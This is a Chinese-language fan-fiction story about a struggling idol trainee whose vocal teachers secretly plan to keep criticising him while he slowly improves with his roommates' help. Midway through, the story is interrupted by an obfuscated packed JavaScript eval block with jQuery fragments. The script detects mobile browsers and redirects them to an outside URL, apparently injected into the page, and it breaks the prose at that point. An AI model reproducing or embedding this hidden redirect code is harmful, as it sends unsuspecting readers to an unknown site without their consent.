深夜的烤肉店里烟雾缭绕，崔老师又给自己倒了杯烧酒
坐在对面的李老师已经有点醉了，红着脸摆手“不喝了不喝了，明天还得上课...”
“最后一杯”崔老师把杯子推过去“说真的，那个郑珉斤你觉得能行吗？”
李老师叹了口气，夹了块烤焦的肉“其实挺不错的，但方代表找我谈的话，总得给点面子”
“不只是给面子”崔老师喝了口酒“他音色其实不错，你听过吗？清亮，干净，有点Justin Bieber早期的感觉”
“Justin Bieber？”李老师笑了“你喝多了吧崔老师”
“没喝多”崔老师认真道“我教了这么多年声乐，这点判断还有，就是技巧太差，感情也不到位，跟白纸似的”
“那你怎么不告诉他？说不定有动力了能练好点”
“不能告诉”崔老师摇头“他现在什么处境？跟家里闹翻，住地下室，便利店打工，要是知道自己有点天赋，心态容易飘要么觉得我有天赋不用拼命要么觉得我都这么惨了还得不到认可，还不如让他以为自己是张白纸，一点一点往上爬”
李老师想了想，点头“也是，那孩子看着倔，其实没吃过苦，得磨”
“所以你得接着骂”崔老师说“往狠了骂，别留情”
“这不用你说”李老师笑“我骂人从来不客气”
两人碰了杯，话题转到别处，烧酒一瓶接一瓶，烟雾越来越浓
……
同一时间，郑珉斤正躺在冰冷的地板上，盯着天花板上那块霉斑
他刚下便利店夜班回来，累得骨头散架，却睡不着
明天有声乐课，崔老师又要骂人了
他想起上次课，自己唱完一段后，崔老师沉默了三秒，然后说“郑珉斤你唱歌是在念说明书吗？”
郑珉斤只是鞠了个躬“对不起老师，我再练”
但其实他心里在骂，骂崔老师刻薄，骂自己无能，骂这该死的一切
翻身，地板咯得背疼，他坐起来，看了眼手机凌晨两点半，距离六点起床训练还有三个半小时
睡吧
他闭上眼睛，脑子里却开始自动播放明天要唱的歌，旋律简单，歌词也简单，但他总是唱不好，不是跑调，是没感情
机器人
郑珉斤扯了扯嘴角，他现在确实像个机器人
每天训练、打工、睡觉，三点一线，没有惊喜，没有期待，只有日复一日的疲惫
门锁响了
闵玧其推门进来，带着一身深夜的寒气，看见郑珉斤坐着，他脚步顿了一下“还不睡？”
“睡不着”
闵玧其脱外套，动作很轻，但铁架床还是嘎吱响，金泰亨在上铺翻了个身，嘟囔什么
“便利店怎么样？”闵玧其问
“老样子”
“嗯”
沉默
闵玧其洗漱回来时，郑珉斤还坐着
“有事？”闵玧其问
“...我唱歌，真的很差吗？”
闵玧其看了他一眼，坐到对面床上“想听真话？”
“嗯”
“技巧差，感情不到位，音准还行但也就那样”闵玧其说得很直白“但你声音条件不差”
“什么意思？”
“就是...”闵玧其想了想“音色不错，没杂质，这种声音练好了会很好听”
郑珉斤愣住，是他第一次听到正面评价，虽然很含蓄
“真的？”
“嗯”闵玧其躺下，“但你现在唱得确实烂”
“...怎么办”
“多唱，多想，多感受”闵玧其闭上眼睛“睡吧，明天还得挨骂”
那天夜里郑珉斤做了个梦，梦见自己在舞台上，底下坐满了人，他唱得很好，好到自己都惊讶，醒来时，天还没亮，地下室里一片漆黑
他躺在地板上，回味着那个梦
音色不错
闵玧其是第一个这么说的人
第二天的声乐课，郑珉斤唱得格外认真
还是那首歌，还是那些词，但这一次，他试着去想歌词的意思，关于离别，关于遗憾，关于说不出口的再见
唱到一半，崔老师喊了停
“郑珉斤”
“是”
“你今天...”崔老师顿了顿“比昨天好一点”
好一点？
崔老师居然说“好一点”？
“但还不够”崔老师立刻泼冷水“感情有了，技巧还是差，气息也不稳，继续练”
“是”
下课后，金硕珍凑过来“珉斤，你今天唱得真不错”
“还行吧”
“崔老师都说好一点了！”田柾国眼睛发亮
郑珉斤收拾东西“只是说比昨天好一点”
“那也很厉害了”郑号锡走过来，笑眯眯的“看来昨晚没白失眠”
郑珉斤看他“你怎么知道我失眠？”
“你黑眼圈都快掉地上了”郑号锡说“不过值得，进步了”
值得吗？郑珉斤不知道，但至少，今天没被骂得太惨
午休时，他一个人走到楼梯间，拿出手机录音，唱的还是那首歌，小声地，偷偷地
回放
声音从手机里传出来，有点失真，但能听出音色——像闵玧其说的那样
但也确实像崔老师说的
他删掉录音，收起手机
接下来的日子，郑珉斤开始偷偷研究自己的声音
不是自恋，是好奇，他想知道闵玧其说的到底是什么样，想知道自己这张白纸到底能画出什么
方法很笨，每天训练结束后，等所有人都走了，他留在练习室，对着钢琴，一首接一首地试
试音域，试音色，试不同的唱法
“你在干嘛？”
某天晚上，郑珉斤又被逮到了，这次是金南俊，抱着一摞书站在门口<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205723|197329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“...练歌”
“这么晚？”金南俊走进来，把书放下“这些是声乐教材，你要看吗？”
郑珉斤愣住“为什么给我？”
“你不是在练吗？”金南俊推了推眼镜“多学点理论没坏处”
那些书很旧，有的页角都卷了
“...谢谢”
“不用谢”金南俊说“反正我也用不上我主攻rap”
那天晚上郑珉斤没去打工，请了假，在地下室看书，昏暗的灯光下，那些字像蚂蚁，但他看得很认真
原来唱歌有这么多门道，原来声音可以这样控制，原来他不是白纸，只是没找到笔
“看什么呢?”闵玧其回来时问
“声乐书”
闵玧其凑过来看了眼“金南俊给的?”
“嗯”
“那些书挺有用的”闵玧其说“我写了几段旋律，你要不要试试?”
“什么旋律?”
闵玧其从笔记本上撕下一页，递过来，是很简单的一段，几个和弦来回
“试着填点词”闵玧其说，“随便写，想到什么写什么”
郑珉斤盯着那页纸看了很久，然后拿起笔写得很慢，很笨拙，像小学生写作文
写的是地下室，写的是那扇小窗，写的是每天凌晨打工的困倦，写的是训练时的汗水，写的是累到想放弃却还在坚持的自己
写完时，天快亮了
一个月后的考核，郑珉斤还是唱了考核曲目，没有换歌，因为不敢
但这一次，他唱得不一样了
唱完，崔老师没马上点评，看着郑珉斤，看了很久
“...有进步”最后他说，“但离好还差得远，继续练”
“是”
那天晚上回地下室，郑珉斤没说话，金硕珍拍拍他的肩，田桠国说“哥下次会更好”，郑号锡还是笑眯眯的，金泰亨偷偷塞给他一块糖
闵玩其最后一个回来，手里拎着塑料袋
“炸鸡店剩的”他说“庆祝你进步”
“进步什么”
闵玩其说“来，吃”
郑珉斤啃着那半块凉掉的炸鸡，突然笑了
“笑什么?”金硕珍问
“没什么”郑珉斤说“就是觉得...好像也没那么糟”
那天夜里，他躺在地板上，还是睡不着，但这次不是因为焦虑，是因为一种很轻的、几乎感觉不到的期待
墙上的小窗透进来光，昏黄的，微弱的，他盯差那光看了很久，然后闭上眼睛
他不知道崔老师在烤肉店里说过什么，不知道那些严厉都是设计好的磨砺
他只知道，今天唱得比昨天好一点
这就够了
窗外的首尔在沉睡，地下室里的呼吸声此起彼伏，郑珉斤在那些呼吸声中，渐渐睡去
梦里没有舞台，没有掌声，只有一间小小的练习室，一架老旧的钢琴，和一个还在练习唱歌的自己